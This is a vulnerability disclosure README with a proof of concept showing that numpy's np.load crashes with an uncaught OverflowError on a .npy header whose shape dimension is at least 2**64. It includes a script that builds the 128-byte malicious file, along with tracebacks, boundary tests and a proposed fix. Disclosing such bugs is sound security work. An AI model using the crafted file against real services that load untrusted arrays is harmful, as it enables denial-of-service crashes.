EnigmaConsultant/huntr-poc-numpy-npy-shape-int-overflow-dos

np.load() on a .npy/.npz with a header shape dimension ≥ 2**64 raises an uncaught OverflowError — exception-contract DoS

Summary

numpy.load() on a malicious .npy (or .npz member) whose header shape tuple contains a Python integer too large to fit a C long (≥ 2**64) raises an OverflowError: Python int too large to convert to C long. This exception is not part of np.load's documented Raises contract (OSError, UnpicklingError, ValueError, EOFError) and is not a subclass of any of them. Any caller written defensively to that contract (except (OSError, ValueError, EOFError)) fails to catch it and crashes — a denial-of-service in loaders that ingest untrusted array files.

The bug fires with allow_pickle=False (the default, "safe" mode), before any allocation branch, so it affects both raw .npy files and .npz archive members.

• Target: numpy (numpy/lib/_format_impl.py)
• Verified versions: numpy 2.5.1 (venv, Python 3.13.12) and numpy 2.3.5 (system) — both reproduce.
• Attack vector: attacker-controlled .npy/.npz header (model file / array file ingestion).
• Impact: unhandled-exception denial of service / broken exception contract.
• Preconditions: none beyond the victim calling np.load() on an attacker-supplied file. Default allow_pickle=False is sufficient.

Root cause

np.load() -> format.read_array(). The element count is computed directly from the attacker-controlled header shape tuple:

# numpy/lib/_format_impl.py  (read_array, ~line 823-827)
    shape, fortran_order, dtype = _read_array_header(
            fp, version, max_header_size=max_header_size)
    if len(shape) == 0:
        count = 1
    else:
        count = numpy.multiply.reduce(shape, dtype=numpy.int64)   # <-- line 827

shape comes straight from the header dict. The header validator only checks that each element is a Python int — it never bounds the magnitude:

# numpy/lib/_format_impl.py  (_read_array_header, ~line 685-689)
    # Sanity-check the values.
    if (not isinstance(d['shape'], tuple) or
            not all(isinstance(x, int) for x in d['shape'])):   # <-- magnitude NOT checked
        msg = "shape is not valid: {!r}"
        raise ValueError(msg.format(d['shape']))

When a shape dimension is a Python int ≥ 2**64, converting the shape tuple to an int64 array inside numpy.multiply.reduce(..., dtype=numpy.int64) raises OverflowError — which propagates uncaught out of np.load.

Why this is a genuine contract gap (not just an unavoidable resource error)

numpy handles the adjacent magnitude ranges correctly and in-contract; only values ≥ 2**64 escape:

shape value	result	in np.load contract?
2**63 - 1	MemoryError (8.00 EiB alloc)	n/a (resource)
2**63	ValueError: negative dimensions are not allowed	yes (correct)
2**63 + 1	ValueError: negative dimensions are not allowed	yes (correct)
2**64 - 1	ValueError: negative dimensions are not allowed	yes (correct)
2**64	OverflowError: Python int too large to convert to C long	NO — BUG
2**64 + 1	OverflowError: Python int too large to convert to C long	NO — BUG

Values in [2**63, 2**64) wrap to a negative int64 and produce the in-contract ValueError('negative dimensions are not allowed'). Only values ≥ 2**64 overflow the int64 conversion itself and leak an OverflowError. This demonstrates a real translation gap in the validation path rather than an unavoidable out-of-resources condition.

Proof of concept

poc_gen.py builds a 128-byte NPY v1.0 file whose header is {'descr': '|u1', 'fortran_order': False, 'shape': (18446744073709551616,)} (18446744073709551616 == 2**64), then calls np.load().

import numpy as np, struct

magic = b'\x93NUMPY\x01\x00'
h = "{'descr': '|u1', 'fortran_order': False, 'shape': (18446744073709551616,), }"
total = len(magic) + 2 + len(h) + 1
pad = (64 - total % 64) % 64
hb = (h + ' ' * pad + '\n').encode('latin1')
with open('poc_overflow.npy', 'wb') as f:
    f.write(magic + struct.pack('<H', len(hb)) + hb)   # 128 bytes total

np.load('poc_overflow.npy')          # allow_pickle=False (default)
# -> OverflowError: Python int too large to convert to C long  (uncaught)

The identical header inside a zip member reproduces via np.load(npz)['x'] (.npz path), since .npz members are read through the same read_array.

Captured evidence (verbatim)

Reproduced end-to-end with verify.py (included). The DOC contract used for the in-contract column is (OSError, ValueError, EOFError, UnpicklingError).

$ ./venv/bin/python verify.py        # numpy 2.5.1, py 3.13.12
Traceback (most recent call last):
  File ".../verify.py", line 29, in <module>
    np.load(fn)
    ~~~~~~~^^^^
  File ".../numpy/lib/_npyio_impl.py", line 483, in load
    return format.read_array(fid, allow_pickle=allow_pickle,
                             pickle_kwargs=pickle_kwargs,
                             max_header_size=max_header_size)
  File ".../numpy/lib/_format_impl.py", line 827, in read_array
    count = numpy.multiply.reduce(shape, dtype=numpy.int64)
OverflowError: Python int too large to convert to C long
numpy 2.5.1 py 3.13.12
=== boundary of shape value ===
  2**63-1: MemoryError: Unable to allocate 8.00 EiB for an array with shape (92 in-contract=False
  2**63: ValueError: negative dimensions are not allowed in-contract=True
  2**63+1: ValueError: negative dimensions are not allowed in-contract=True
  2**64-1: ValueError: negative dimensions are not allowed in-contract=True
  2**64: OverflowError: Python int too large to convert to C long in-contract=False
  2**64+1: OverflowError: Python int too large to convert to C long in-contract=False
=== real np.load on-disk .npy (POC) ===
poc file size: 128 bytes
EXC TYPE: builtins.OverflowError in-contract= False
=== negative control ===
ctrl load: [0 1 2 3 4]
ctrl big-but-valid shape: MemoryError Unable to allocate 931. GiB for an array with shap in-contract= False

Negative controls (same harness, adjacent inputs)

• shape=(2**63,), (2**63+1,), (2**64-1,) → ValueError: negative dimensions are not allowed — in-contract, correctly translated.
• A normal np.save / np.load round-trip loads fine ([0 1 2 3 4]).
• shape=(1e12,) (fits int64) → MemoryError (resource), not OverflowError.

Only shape ≥ 2**64 escapes the documented contract.

Second-version confirmation (system numpy 2.3.5)

numpy 2.3.5
  -> OverflowError: Python int too large to convert to C long | in-contract= False

Suggested fix

In _read_array_header, after the isinstance(x, int) check, bound each shape element to a non-negative value representable as int64 (i.e. 0 <= x < 2**63), raising ValueError on violation — matching the existing in-contract ValueError('negative dimensions are not allowed') handling. Alternatively, wrap the numpy.multiply.reduce(..., dtype=numpy.int64) in read_array and re-raise OverflowError as ValueError.

Dedup / prior-work note

Distinct from other numpy .npy/.npz header issues:

• The historical "big header" complexity issue (huntr) concerns header size, not shape magnitude.
• A separate _read_array_header TokenError (malformed header literal) issue is a different exception class from a different parse stage.
• A separate .npz BadZipFile contract issue concerns the zip container, not the array header.

This report concerns specifically the shape dimension magnitude ≥ 2**64 overflowing the int64 element-count reduction in read_array, leaking an OverflowError outside np.load's documented Raises set. No CVE is known for this specific code path at the time of writing.

Files

• README.md — this writeup
• poc_gen.py — builds the 128-byte malicious .npy
• verify.py — full harness: POC + boundary sweep + negative controls
• poc_overflow.npy — the 128-byte malicious NPY v1.0 file